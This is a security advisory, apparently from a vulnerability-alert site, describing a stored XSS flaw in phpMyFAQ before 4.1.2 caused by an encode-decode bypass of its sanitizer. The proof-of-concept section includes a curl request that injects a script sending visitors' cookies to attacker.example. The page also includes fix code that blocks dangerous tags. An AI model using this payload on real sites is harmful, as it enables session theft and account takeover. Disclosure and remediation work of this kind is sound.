CVE-2026-46363: phpMyFAQ has Stored XSS in FAQ Question/Answer via Encode-Decode Bypass of removeAttributes() Sanitization

Published May 6, 2026
·
Updated

Summary

The FAQ creation and update endpoints in phpMyFAQ apply FILTERSANITIZESPECIALCHARS (which HTML-encodes input), then immediately call htmlentitydecode() which reverses the encoding, followed by Filter::removeAttributes() which only strips HTML attributes — not tags. This allows <script>, <iframe>, <object>, and <embed> tags to be stored in the database and rendered unescaped via {{ answer|raw }} and {{ question|raw }} in the Twig template, causing JavaScript execution in every visitor's browser.

Details

Vulnerable code path (FAQ create — FaqController.php):

At line 120, the answer content is filtered: php $content = Filter::filterVar($data->answer, FILTERSANITIZESPECIALCHARS);

Filter::filterVar() calls filterSanitizeString() (Filter.php:135-144) which applies htmlspecialchars(), converting <script> to &lt;script&gt;. The regex /\x00|<[^>]>?/ then finds no literal angle brackets to strip.

At lines 150-154, the encoded content is decoded and passed to attribute-only sanitization: php ->setAnswer(Filter::removeAttributes(htmlentitydecode( (string) $content, ENTQUOTES | ENTHTML5, encoding: 'UTF-8', )))

htmlentitydecode() converts &lt;script&gt; back to <script>, fully reversing the earlier sanitization. Filter::removeAttributes() (Filter.php:150-196) only matches and strips attribute=value patterns from a known list of HTML attributes (event handlers like onclick, onerror, etc.) but performs no tag-level filtering. A <script> tag with no attributes passes through completely unchanged.

The identical pattern exists in the update endpoint at lines 389-398.

Rendering sink (faq.twig):

twig <h2 class="mb-4 border-bottom">{{ question | raw }}</h2> <article class="pmf-faq-body pb-4 mb-4 border-bottom">{{ answer|raw }}</article>

The |raw filter disables Twig's auto-escaping, causing the stored <script> tag to execute in every visitor's browser.

Additional rendering sinks exist in search.twig (line 75, 77) where search results also render FAQ content with |raw.

PoC

Prerequisites: Authenticated session with FAQADD permission and a valid CSRF token.

Step 1: Create a malicious FAQ bash curl -X POST 'https://target/admin/api/faq/create' \ -H 'Cookie: PHPSESSID=<adminsession>' \ -H 'Content-Type: application/json' \ -d '{ "data": { "pmf-csrf-token": "<validcsrftoken>", "question": "Harmless FAQ Title", "answer": "Helpful content<script>fetch(\"https://attacker.example/steal?c=\"+document.cookie)</script>", "categories[]": 1, "lang": "en", "tags": "", "active": "yes", "sticky": "no", "keywords": "test", "author": "Admin", "email": "admin@example.com", "comment": "n", "changed": "Initial", "notes": "", "serpTitle": "Harmless FAQ", "serpDescription": "Test", "openQuestionId": 0, "notifyEmail": "", "notifyUser": "", "recordDateHandling": "updateDate" } }'

Expected response: 200 OK with the new FAQ ID.

Step 2: Verify XSS execution

Navigate to the public FAQ page (e.g., https://target/content/1/{faqId}/en/harmless-faq-title.html). The <script> tag in the answer body executes, sending the visitor's cookies to the attacker's server.

Impact

- Session hijacking: An attacker with FAQ creation privileges can steal session cookies from any user (including administrators) who views the FAQ, enabling full account takeover. - Phishing: The injected script can modify page content to display fake login forms or redirect users to malicious sites. - Worm propagation: If the attacker captures an admin session, they can create additional malicious FAQs automatically, spreading the attack. - Scope: Every unauthenticated visitor who views the compromised FAQ is affected. The XSS also fires in search results via search.twig.

Recommended Fix

Replace the encode→decode→removeAttributes chain with a proper HTML sanitizer that operates on the DOM level. Use a library like HTML Purifier or Symfony's HtmlSanitizer component.

Immediate fix — add tag-level filtering to removeAttributes() (Filter.php):

php public static function removeAttributes(string $html = ''): string { // Strip dangerous HTML tags entirely $dangerousTags = ['script', 'iframe', 'object', 'embed', 'applet', 'form', 'base', 'link', 'meta']; foreach ($dangerousTags as $tag) { $html = pregreplace('/<' . $tag . '\b[^>]>.?<\/' . $tag . '>/is', '', $html); $html = pregreplace('/<' . $tag . '\b[^>]\/?>/is', '', $html); }

// Also sanitize javascript: URIs in href/src attributes $html = pregreplace('/\b(href|src)\s=\s["\']?\sjavascript:/i', '$1="', $html);

$keep = [ 'href', 'src', 'title', 'alt', 'class', 'style', 'id', 'name', 'size', 'dir', 'rel', 'rev', 'target', 'width', 'height', 'controls', ]; // ... rest of existing attribute removal logic

Recommended long-term fix: Replace custom sanitization with Symfony's HtmlSanitizer, which is already a project dependency ecosystem:

php use Symfony\Component\HtmlSanitizer\HtmlSanitizer; use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;

$config = (new HtmlSanitizerConfig()) ->allowSafeElements() ->blockElement('script') ->blockElement('iframe') ->blockElement('object') ->blockElement('embed');

$sanitizer = new HtmlSanitizer($config); $cleanAnswer = $sanitizer->sanitize($rawAnswer);

Other sources

phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in FAQ creation and update endpoints that bypass sanitization through encode-decode cycles. The vulnerability allows authenticated attackers with FAQADD permission to inject malicious script tags via question or answer parameters, which execute in every visitor's browser when FAQ content is rendered with the raw Twig filter.

— MITRE

phpMyFAQ has Stored XSS in FAQ Question/Answer via Encode-Decode Bypass of removeAttributes() Sanitization

— Packagist

Affected Software

5 affected componentsFixes available
PhpMyFaq phpmyfaq<4.1.2
composer/phpmyfaq/phpmyfaq<=4.1.1
composer/thorsten/phpmyfaq<=4.1.1
composer/thorsten/phpmyfaq<=4.1.1
4.1.2
composer/phpmyfaq/phpmyfaq<=4.1.1
4.1.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/thorsten/phpmyfaq to a version that resolves this vulnerability.

    Fixed in 4.1.2
  2. Upgrade

    Upgrade composer/phpmyfaq/phpmyfaq to a version that resolves this vulnerability.

    Fixed in 4.1.2
  3. Upgrade

    Upgrade phpMyFAQ to a version that resolves this vulnerability.

    Fixed in 4.1.2
  4. Configuration

    Replace the encode-decode-removeAttributes chain with Symfony HtmlSanitizer using allowSafeElements() and blockElement() for dangerous tags, and sanitize javascript: URIs in href/src attributes before rendering FAQ content.

    FAQ HTML sanitization DOM-level HTML sanitization and dangerous-tag blocking = Block script, iframe, object, embed, applet, form, base, link, and meta tags; sanitize javascript: URIs in href/src attributes

Event History

May 6, 2026
Advisory Published
via GitHub·08:18 PM
Data Sourced
via GitHub·08:18 PM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via Packagist·08:18 PM
DescriptionSeverityAffected Software
May 15, 2026
CVE Published
via MITRE·06:36 PM
Data Sourced
via MITRE·06:36 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:17 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

What is the severity of CVE-2026-46363?

CVE-2026-46363 has a high severity rating due to its potential for exploitation through stored cross-site scripting vulnerabilities.

2

How do I fix CVE-2026-46363?

To fix CVE-2026-46363, upgrade phpMyFAQ to version 4.1.2 or later where the vulnerability has been addressed.

3

Who is affected by CVE-2026-46363?

CVE-2026-46363 affects all versions of phpMyFAQ prior to 4.1.2.

4

What type of vulnerability is CVE-2026-46363?

CVE-2026-46363 is a stored cross-site scripting (XSS) vulnerability.

5

What can an attacker do with CVE-2026-46363?

An authenticated attacker with the FAQ_ADD permission can exploit CVE-2026-46363 to execute arbitrary scripts in the context of another user's session.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203